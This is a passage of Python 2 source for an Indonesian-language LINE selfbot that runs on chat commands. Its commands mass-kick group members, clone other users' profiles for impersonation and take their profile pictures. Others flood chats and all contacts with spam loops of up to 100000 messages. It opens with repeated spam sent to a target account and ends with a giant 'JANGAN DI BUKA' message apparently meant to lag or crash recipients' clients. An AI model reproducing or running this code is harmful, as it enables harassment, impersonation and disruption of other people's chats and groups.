cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(g.mid,"Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞ NIH CIKA~")
cl.sendText(msg.to,"Selesai Mengspam Akun Target")
elif "jam say: " in msg.text:
n = msg.text.replace("jam say: ","")
if len(n.decode("utf-8")) > 30:
cl.sendText(msg.to,"terlalu lama")
else:
wait["cName"] = n
cl.sendText(msg.to,"Ini telah diubah🛡\n\n" + n)
elif msg.text.lower() == 'update':
if wait["clock"] == True:
now2 = datetime.now()
nowT = datetime.strftime(now2,"(%H:%M)")
profile = cl.getProfile()
profile.displayName = wait["cName"] + nowT
cl.updateProfile(profile)
cl.sendText(msg.to,"Diperbarui👈")
else:
cl.sendText(msg.to,"Silahkan Aktifkan Nama")
elif msg.text == "Ciduk":
if msg.toType == 2:
cl.sendText(msg.to, "Mulai Menciduk Sider\nKetik 「intip」ntar gua intip Sidernya 😼\nBuat Yang liat Gausah Ketik intip\nPercuma, ga bakal muncul~\n\nPencidukan Dimulai Pada Tanggal dan Waktu:" + datetime.now().strftime('\n%Y/%m/%d %H:%M:%S'))
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
wait2['ROM'][msg.to] = {}
print wait2
elif msg.text == "Intip":
if msg.toType == 2:
if msg.to in wait2['readPoint']:
if wait2["ROM"][msg.to].items() == []:
chiya = ""
else:
chiya = ""
for rom in wait2["ROM"][msg.to].items():
print rom
chiya += rom[1] + "\n"
cl.sendText(msg.to, "[PENGINTIPAN SIDER]\n---------------\nSider kntl:%s\n\n\n\nSider gblk:\n%s\n\n---------------\nDiintip pada Set Point terakhir pada:\n[%s]\n---------------\n\nJangan Sider Mulu Anjing~ \n\n[🐿️]➦Powered By: Ꭲ̡̦͎͇͈̘̻̎̉̅́̒͗ͅϵѧᴍ̸̩̟̗͎̯͙̺̺̜̬̙̟̀̑̓͋̐͆͌̓̒́̒͗͒͑̚͟͜ᎶʀҽѧᴛᏴøᴛ̢͓̹̗̘̠̪̖͗̃̄̅̆̽̀̕͜͞\n\n•┅─────" % (wait2['readMember'][msg.to],chiya,setTime[msg.to]))
print "ReadPoint Set..."
try:
del wait2['readPoint'][msg.to]
del wait2['readMember'][msg.to]
except:
pass
wait2['readPoint'][msg.to] = msg.id
wait2['readMember'][msg.to] = ""
wait2['setTime'][msg.to] = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
wait2['ROM'][msg.to] = {}
print wait
cl.sendText(msg.to, "Pengintipan Pada Tanggal dan Waktu:" + datetime.now().strftime('\n%Y-%m-%d %H:%M:%S'))
else:
cl.sendText(msg.to, "LO AJA BELOM KETIK CIDUK!")
#-----------------------[Add Staff Section]------------------------
elif "Add staff @" in msg.text:
if msg.from_ in admin:
print "[Command]Staff add executing"
_name = msg.text.replace("Add staff @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
staff.append(target)
cl.sendText(msg.to,"Added to the staff list")
except:
pass
print "[Command]Staff add executed"
else:
cl.sendText(msg.to,"Command denied.")
cl.sendText(msg.to,"Admin permission required.")
elif "Remove staff @" in msg.text:
if msg.from_ in admin:
print "[Command]Staff remove executing"
_name = msg.text.replace("Remove staff @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Contact not found")
else:
for target in targets:
try:
staff.remove(target)
cl.sendText(msg.to,"Removed to the staff list")
except:
pass
print "[Command]Staff remove executed"
else:
cl.sendText(msg.to,"Command denied.")
cl.sendText(msg.to,"Admin permission required.")
elif msg.text in ["Stafflist","stafflist"]:
if staff == []:
cl.sendText(msg.to,"The stafflist is empty")
else:
cl.sendText(msg.to,"Staff list: ")
mc = ""
for mi_d in staff:
mc += "->" +cl.getContact(mi_d).displayName + "\n"
cl.sendText(msg.to,mc)
print "[Command]Stafflist executed"
#---------------------KEDAPKEDIP SECTION-------------------#
elif "kedapkedip " in msg.text.lower():
txt = msg.text.replace("kedapkedip ", "")
t1 = "\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xb0\x82\xf4\x80\xa0\x81\xf4\x80\xa0\x81\xf4\x80\xa0\x81"
t2 = "\xf4\x80\x82\xb3\xf4\x8f\xbf\xbf"
cl.sendText(msg.to, t1 + txt + t2)
#----------------------ADMIN COMMAND------------------------------#
elif ("tampol " in msg.text):
if msg.from_ in admin:
targets = []
key = eval(msg.contentMetadata["MENTION"])
key["MENTIONEES"][0]["M"]
for x in key["MENTIONEES"]:
targets.append(x["M"])
for target in targets:
try:
cl.kickoutFromGroup(msg.to,[target])
except:
cl.sendText(msg.to,"Error")
elif ".cg" in msg.text:
if msg.toType == 2:
print "Cleanse is going."
_name = msg.text.replace(".cg ","")
gs = cl.getGroup(msg.to)
cl.sendText(msg.to,"ᴘᴇᴍʙᴇʀsɪʜᴀɴ ᴀᴋᴀɴ ᴅɪʟᴀᴋsᴀɴᴀᴋᴀɴ")
cl.sendText(msg.to,"sᴀʏ ɢᴏᴏᴅ ʙʏᴇ ᴛᴏ ᴍᴇ")
cl.sendText(msg.to,"ᴘᴇᴍʙᴇʀsɪʜᴀɴ ᴅɪʟᴀᴋsᴀɴᴀᴋᴀɴ")
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"Not found.")
cl.sendText(msg.to,"Not found.")
else:
for target in targets:
if not target in Bots:
try:
klist=[cl]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
cl.sendText(msg.to,"ɢʀᴏᴜᴘ sᴜᴅᴀʜ ᴅɪʙᴇʀsɪʜᴋᴀɴ")
except:
cl.sendText(msg,to,"Group cleanse")
cl.sendText(msg,to,"Group cleanse")
#-------------TagALL Start---------------#
elif msg.text in ["Hai"]:
group = cl.getGroup(msg.to)
nama = [contact.mid for contact in group.members]
cb = ""
cb2 = ""
strt = int(0)
akh = int(0)
for md in nama:
akh = akh + int(6)
cb += """{"S":"""+json.dumps(str(strt))+""","E":"""+json.dumps(str(akh))+""","M":"""+json.dumps(md)+"},"""
strt = strt + int(7)
akh = akh + 1
cb2 += "@nrik \n"
cb = (cb[:int(len(cb)-1)])
msg.contentType = 0
msg.text = cb2
msg.contentMetadata ={'MENTION':'{"MENTIONEES":['+cb+']}','EMTVER':'4'}
try:
cl.sendMessage(msg)
except Exception as error:
print error
#-----------------------------------------------
#-------------TagALL Finish-------------#
elif "Tampol semua" in msg.text:
if msg.from_ in admin:
nk0 = msg.text.replace("tampol semua","")
nk1 = nk0.lstrip()
nk2 = nk1.replace("all","")
nk3 = nk2.rstrip()
_name = nk3
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _name in g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to,"user does not exist")
pass
else:
for target in targets:
if not target in Bots:
if not target in admin:
try:
klist=[cl,ki,ki2,ki3,ki4,ki5]
kicker=random.choice(klist)
kicker.kickoutFromGroup(msg.to,[target])
print (msg.to,[g.mid])
except:
cl.sendText(msg.to,"Sukses Bosqu")
cl.sendText(msg.to,"masih mauko sundala")
elif msg.text in ["Glid"]:
if msg.from_ in admin:
gid = cl.getGroupIdsJoined()
h = "===[List Groups]==="
total = str(len(gid))
for i in gid:
if i is not None:
try:
groups = cl.getGroup(i)
if groups.members is not None:
members = str(len(groups.members))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
h += "\n[" + groups.name + "] ->(" + members +")\n -+GroupID : " + i
except:
break
else:
break
if gid is not None:
cl.sendText(msg.to,h + "\n|[Total Groups]| : " + str(total))
else:
cl.sendText(msg.to,"Tidak ada grup saat ini")
ginv = cl.getGroupIdsInvited()
j = "===[List Groups Invited]==="
totals = str(len(ginv))
for z in ginv:
if z is not None:
try:
groups = cl.getGroup(z)
if groups.members is not None:
members = str(len(groups.mem1bers))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
j += "\n[" + groups.name + "] ->(" + members + ")\n -+GroupID : " + i
except:
break
else:
break
if ginv is not None:
cl.sendText(msg.to,j + "\n|[Total Groups Invited]| : " + str(totals))
else:
cl.sendText(msg.to,"Tidak ada grup tertunda saat ini")
elif msg.text in ["Info grup"]:
if msg.from_ in admin:
gid = cl.getGroupIdsJoined()
cl.sendText(msg.to,"===[List Details Group]===")
total = str(len(gid))
for i in gid:
if i is not None:
try:
groups = cl.getGroup(i)
if groups.members is not None:
members = str(len(groups.members))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
h = "[" + groups.name + "]\n -+GroupID : " + i + "\n -+Members : " + members + "\n -+MembersPending : " + pendings + "\n -+Creator : " + groups.creator.displayName
except:
break
else:
break
if gid is not None:
cl.sendText(msg.to,h)
cl.sendText(msg.to,"|[Total Groups]| : " + str(total))
else:
cl.sendText(msg.to,"Tidak ada grup saat ini")
ginv = cl.getGroupIdsInvited()
cl.sendText(msg.to,"===[List Details Groups Invited]===")
totals = str(len(ginv))
for z in ginv:
if z is not None:
try:
groups = cl.getGroup(z)
if groups.members is not None:
members = str(len(groups.members))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
j = "[" + groups.name + "]\n -+GroupID : " + i + "\n -+Members : " + members + "\n -+MembersPending : " + pendings + "\n -+Creator : " + groups.creator.displayName
except:
break
else:
break
if ginv is not None:
cl.sendText(msg.to,j)
cl.sendText(msg.to,"|[Total Groups Invited]| : " + str(totals))
else:
cl.sendText(msg.to,"Tidak ada grup tertunda saat ini")
elif "Details grup: " in msg.text:
if msg.from_ in admin:
gid = msg.text.replace("Details grup: ","")
if gid in [""," "]:
cl.sendText(msg.to,"Grup id tidak valid")
else:
try:
groups = cl.getGroup(gid)
if groups.members is not None:
members = str(len(groups.members))
else:
members = "0"
if groups.invitee is not None:
pendings = str(len(groups.invitee))
else:
pendings = "0"
h = "[" + groups.name + "]\n -+GroupID : " + gid + "\n -+Members : " + members + "\n -+MembersPending : " + pendings + "\n -+Creator : " + groups.creator.displayName + "\n -+GroupPicture : http://dl.profile.line.naver.jp/" + groups.pictureStatus
cl.sendText(msg.to,h)
except Exception as error:
cl.sendText(msg.to,(error))
elif "Cancel invite: " in msg.text:
if msg.from_ in admin:
gids = msg.text.replace("Cancel invite: ","")
gid = cl.getGroup(gids)
for i in gid:
if i is not None:
try:
cl.rejectGroupInvitation(i)
except:
cl.sendText(msg.to,"Error!")
break
else:
break
if gid is not None:
cl.sendText(msg.to,"Berhasil tolak undangan dari grup " + gid.name)
else:
cl.sendText(msg.to,"Grup tidak ditemukan")
elif msg.text in ["Accept invite"]:
if msg.from_ in admin:
gid = cl.getGroupIdsInvited()
_list = ""
for i in gid:
if i is not None:
gids = cl.getGroup(i)
_list += gids.name
cl.acceptGroupInvitation(i)
else:
break
if gid is not None:
cl.sendText(msg.to,"Berhasil terima semua undangan dari grup :\n" + _list)
else:
cl.sendText(msg.to,"Tidak ada grup yang tertunda saat ini")
elif "Myname " in msg.text:
string = msg.text.replace("Myname ","")
if len(string.decode('utf-8')) <= 200000:
profile = cl.getProfile()
profile.displayName = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Name" + string)
elif "Mybio " in msg.text:
string = msg.text.replace("Mybio ","")
if len(string.decode('utf-8')) <= 500000:
profile = cl.getProfile()
profile.statusMessage = string
cl.updateProfile(profile)
cl.sendText(msg.to,"Update Bio" + string)
elif 'gn ' in msg.text.lower():
if msg.toType == 2:
wildan = cl.getGroup(msg.to)
wildan.name = msg.text.replace("gn ","")
cl.updateGroup(wildan)
cl.sendText(msg.to,"Sukses Mengganti Nama Grup 😀")
elif "tampol: " in msg.text:
if msg.from_ in admin:
midd = msg.text.replace("tampol: ","")
cl.kickoutFromGroup(msg.to,[midd])
elif "Invite: " in msg.text:
if msg.from_ in admin:
midd = msg.text.replace("Invite: ","")
cl.findAndAddContactsByMid(midd)
cl.inviteIntoGroup(msg.to,[midd])
elif "Steal: " in msg.text:
if msg.from_ in admin:
salsa = msg.text.replace("Steal: ","")
Manis = cl.getContact(salsa)
Imoet = "http://dl.profile.line-cdn.net/" + contact.pictureStatus
try:
cover = cl.channel.getCover(Manis)
except:
cover = ""
cl.sendText(msg.to,"Gambar Foto Profilenya")
cl.sendImageWithURL(msg.to,Imoet)
if cover == "":
cl.sendText(msg.to,"User tidak memiliki cover atau sejenisnya")
else:
cl.sendText(msg.to,"Gambar Covernya")
cl.sendImageWithURL(msg.to,cover)
elif "Mycopy @" in msg.text:
if msg.toType == 2:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Mycopy @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to, "Not Found...")
else:
for target in targets:
try:
cl.cloneContactProfile(target)
cl.sendText(msg.to, "Sukses Copy Profile")
except Exception as e:
print e
elif "Copy @" in msg.text:
if msg.toType == 2:
if msg.from_ in admin:
print "[COPY] Ok"
_name = msg.text.replace("Copy @","")
_nametarget = _name.rstrip(' ')
gs = cl.getGroup(msg.to)
targets = []
for g in gs.members:
if _nametarget == g.displayName:
targets.append(g.mid)
if targets == []:
cl.sendText(msg.to, "Tidak Ada Target Copy")
else:
for target in targets:
try:
cl.cloneContactProfile(target)
cl.cloneContactProfile(target)
cl.cloneContactProfile(target)
cl.cloneContactProfile(target)
cl.cloneContactProfile(target)
cl.sendText(msg.to, "Sukses Copy Profile")
except Exception as e:
print e
elif "/say " in msg.text:
say = msg.text.replace("/say ","")
lang = 'id'
tts = gTTS(text=say, lang=lang)
tts.save("hasil.mp3")
cl.sendAudio(msg.to,"hasil.mp3")
elif msg.text in ["Mybackup"]:
try:
cl.updateDisplayPicture(mybackup.pictureStatus)
cl.updateProfile(mybackup)
cl.sendText(msg.to, "Backup Sukses Bosqu")
except Exception as e:
cl.sendText(msg.to, str (e))
elif msg.text in ["Backup"]:
try:
cl.updateDisplayPicture(backup.pictureStatus)
cl.updateProfile(backup)
cl.updateDisplayPicture(backup.pictureStatus)
cl.updateProfile(backup)
cl.updateDisplayPicture(backup.pictureStatus)
cl.updateProfile(backup)
cl.updateDisplayPicture(backup.pictureStatus)
cl.updateProfile(backup)
cl.updateDisplayPicture(backup.pictureStatus)
cl.updateProfile(backup)
cl.sendText(msg.to, "Backup Sukses Bosqu")
except Exception as e:
cl.sendText(msg.to, str (e))
elif "Bcc " in msg.text:
bctxt = msg.text.replace("Bcc ", "")
a = cl.getAllContactIds()
for manusia in a:
cl.sendText(manusia, (bctxt))
elif ".rc" in msg.text.lower():
if msg.from_ in admin:
try:
cl.removeAllMessages(op.param2)
print "[Command] Remove Chat"
cl.sendText(msg.to,"Sukses Menghapus Chat")
except Exception as error:
print error
cl.sendText(msg.to,"Error Menghapus Chat")
elif msg.text in ["Conban","Contactban","Contact ban"]:
if wait["blacklist"] == {}:
cl.sendText(msg.to,"Tidak Ada Blacklist")
else:
cl.sendText(msg.to,"Daftar Kontak Penjahat")
h = ""
for i in wait["blacklist"]:
h = cl.getContact(i)
M = Message()
M.to = msg.to
M.contentType = 13
M.contentMetadata = {'mid': i}
cl.sendMessage(M)
elif "Bot:ct " in msg.text:
if msg.from_ in admin:
bctxt = msg.text.replace("Bot:ct ", "")
b = cl.getAllContactIds()
for manusia in b:
cl.sendText(manusia, (bctxt))
c = cl.getAllContactIds()
for manusia in c:
cl.sendText(manusia, (bctxt))
d = cl.getAllContactIds()
for manusia in d:
cl.sendText(manusia, (bctxt))
e = cl.getAllContactIds()
for manusia in e:
cl.sendText(manusia, (bctxt))
f = cl.getAllContactIds()
for manusia in f:
cl.sendText(manusia, (bctxt))
elif "Bcg " in msg.text:
bctxt = msg.text.replace("Bcg ", "")
a = cl.getGroupIdsJoined()
for manusia in a:
cl.sendText(manusia, (bctxt))
elif "Bot:grup " in msg.text:
if msg.from_ in admin:
bctxt = msg.text.replace("Bot:grup ", "")
b = cl.getGroupIdsJoined()
for manusia in b:
cl.sendText(manusia, (bctxt))
c = cl.getGroupIdsJoined()
for manusia in c:
cl.sendText(manusia, (bctxt))
d = cl.getGroupIdsJoined()
for manusia in d:
cl.sendText(manusia, (bctxt))
e = cl.getGroupIdsJoined()
for manusia in e:
cl.sendText(manusia, (bctxt))
f = cl.getGroupIdsJoined()
for manusia in f:
cl.sendText(manusia, (bctxt))
elif "Spam " in msg.text:
txt = msg.text.split(" ")
jmlh = int(txt[2])
teks = msg.text.replace("Spam "+str(txt[1])+" "+str(jmlh)+" ","")
tulisan = jmlh * (teks+"\n")
#danrfq TGB Nih Cika~
if txt[1] == "on":
if jmlh <= 100000:
for x in range(jmlh):
cl.sendText(msg.to, teks)
else:
cl.sendText(msg.to, "Out of Range!")
elif txt[1] == "off":
if jmlh <= 100000:
cl.sendText(msg.to, tulisan)
else:
cl.sendText(msg.to, "Out Of Range!")
elif msg.text in ["Sp","Speed"]:
start = time.time()
cl.sendText(msg.to, "Harap Bersabar...")
elapsed_time = time.time() - start
cl.sendText(msg.to, "%s detik." % (elapsed_time))
elif msg.text.lower() == 'me':
msg.contentType = 13
msg.contentMetadata = {'mid': mid}
cl.sendMessage(msg)
elif cms(msg.text,["creator","Creator"]):
cl.sendText(msg.to,"Tunggu sebentar...")
msg.contentType = 13
msg.contentMetadata = {'mid': crash}
cl.sendText(msg.to,"Kontak DiBawah adalah Pembuat Bot ini")
cl.sendMessage(msg)
cl.sendText(msg.to,"Kontak DiAtas adalah Pembuat Bot ini")
elif ".cc" in msg.text:
msg.contentType = 13
msg.contentMetadata = {'mid': crash}
cl.sendMessage(msg)
elif "Inviteme: " in msg.text:
if msg.from_ in admin:
gid = msg.text.replace("Inviteme: ","")
if gid == "":
cl.sendText(msg.to,"Invalid group id")
else:
try:
cl.findAndAddContactsByMid(msg.from_)
cl.inviteIntoGroup(gid,[msg.from_])
except:
cl.sendText(msg.to,"Mungkin saya tidak di dalaam grup itu")
elif msg.text in ["Clear grup"]:
if msg.from_ in admin:
gid = cl.getGroupIdsJoined()
gid = cl.getGroupIdsJoined()
gid = cl.getGroupIdsJoined()
gid = cl.getGroupIdsJoined()
gid = cl.getGroupIdsJoined()
gid = cl.getGroupIdsJoined()
for i in gid:
cl.leaveGroup(i)
cl.leaveGroup(i)
cl.leaveGroup(i)
cl.leaveGroup(i)
cl.leaveGroup(i)
if wait["lang"] == "JP":
cl.sendText(msg.to,"Bot Sudah Keluar Di semua grup")
else:
cl.sendText(msg.to,"He declined all invitations")
elif msg.text == "Ginfo":
group = cl.getGroup(msg.to)
try:
gCreator = group.creator.displayName
except:
gCreator = "Error"
md = "[Nama Grup : ]\n" + group.name + "\n\n[Id Grup : ]\n" + group.id + "\n\n[Pembuat Grup :]\n" + gCreator + "\n\n[Gambar Grup : ]\nhttp://dl.profile.line-cdn.net/" + group.pictureStatus
if group.preventJoinByTicket is False: md += "\n\nKode Url : Diizinkan"
else: md += "\n\nKode Url : Diblokir"
if group.invitee is None: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : 0 Orang"
else: md += "\nJumlah Member : " + str(len(group.members)) + " Orang" + "\nUndangan Yang Belum Diterima : " + str(len(group.invitee)) + " Orang"
cl.sendText(msg.to,md)
elif msg.text == "Uni":
cl.sendText(msg.to,"JANGAN DI BUKA 😘\n\nHai Perkenalkan.....\nNama saya siapa ya?\n\n1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1.1